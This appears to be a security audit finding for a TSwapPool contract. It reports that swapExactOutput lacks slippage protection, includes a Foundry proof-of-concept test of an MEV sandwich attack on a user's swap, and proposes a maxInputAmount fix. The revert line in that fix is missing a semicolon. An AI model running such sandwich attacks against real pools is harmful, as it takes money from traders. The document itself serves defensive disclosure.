[H-03] The TSwapPool::swapExactOutput
Misses Input and Check for maxInputAmount
Description:
The swapExactOutput
function lacks a slippage control input parameter, which is essential for protecting users from price fluctuations that could occur between the time they submit a transaction and when it gets executed.
function swapExactOutput(
IERC20 inputToken,
IERC20 outputToken,
uint256 outputAmount,
uint64 deadline
@> ???
)
public
revertIfZero(outputAmount)
revertIfDeadlinePassed(deadline)
returns (uint256 inputAmount)
{
uint256 inputReserves = inputToken.balanceOf(address(this));
uint256 outputReserves = outputToken.balanceOf(address(this));
inputAmount = getInputAmountBasedOnOutput(
outputAmount,
inputReserves,
outputReserves
);
_swap(inputToken, inputAmount, outputToken, outputAmount);
}
Impact:
The absence of a check for maxInputAmount
in the swapExactOutput
method makes it vulnerable to Miner Extractable Value (MEV) attacks. An MEV bot could sandwich any transaction made by this function to gain incentives at the expense of the user. This vulnerability allows attackers to manipulate the price seen by the victim's transaction, forcing them to pay more than they initially intended.
Proof of Concept:
A simple test demonstrates the possibility of sandwich attacks due to the lack of slippage control:
function testSwapExactOutputSandwichAttack() public {
attacker = makeAddr("attacker");
poolToken.mint(attacker, 100e18);
vm.startPrank(attacker);
poolToken.approve(address(pool), 100e18);
weth.approve(address(pool), 24962443665498247371);
vm.startPrank(liquidityProvider);
weth.approve(address(pool), 200e18);
poolToken.approve(address(pool), 200e18);
pool.deposit(50e18, 50e18, 100e18, uint64(block.timestamp));
vm.stopPrank();
vm.prank(user);
poolToken.approve(address(pool), 10e18);
uint256 expected = 2_046_957_198_124_987_206;
vm.prank(attacker);
pool.swapExactInput(
poolToken,
100e18,
weth,
0,
uint64(block.timestamp)
);
vm.prank(user);
uint256 actual = pool.swapExactOutput(
poolToken,
weth,
1e18,
uint64(block.timestamp)
);
vm.startPrank(attacker);
pool.swapExactInput(
weth,
weth.balanceOf(attacker),
poolToken,
0,
uint64(block.timestamp)
);
assert(actual > expected);
assert(weth.balanceOf(attacker) >= 0);
assert(poolToken.balanceOf(attacker) > 100e18);
}
Recommended Mitigation:
Introduce slippage control by adding a maxInputAmount
parameter to the function. This parameter will allow users to specify the maximum amount they are willing to pay for the output tokens, thereby protecting them from excessive price movements caused by MEV attacks.
+ error TSwapPool__OutputTooHigh(uint256 actual, uint256 max);
function swapExactOutput(
IERC20 inputToken,
IERC20 outputToken,
uint256 outputAmount,
+ uint256 maxInputAmount,
uint64 deadline
)
public
revertIfZero(outputAmount)
revertIfDeadlinePassed(deadline)
returns (uint256 inputAmount)
{
uint256 inputReserves = inputToken.balanceOf(address(this));
uint256 outputReserves = outputToken.balanceOf(address(this));
inputAmount = getInputAmountBasedOnOutput(
outputAmount,
inputReserves,
outputReserves
);
+ if (inputAmount > maxInputAmount){
+ revert TSwapPool__OutputTooHigh(inputAmount,maxInputAmount)
+ }
_swap(inputToken, inputAmount, outputToken, outputAmount);
}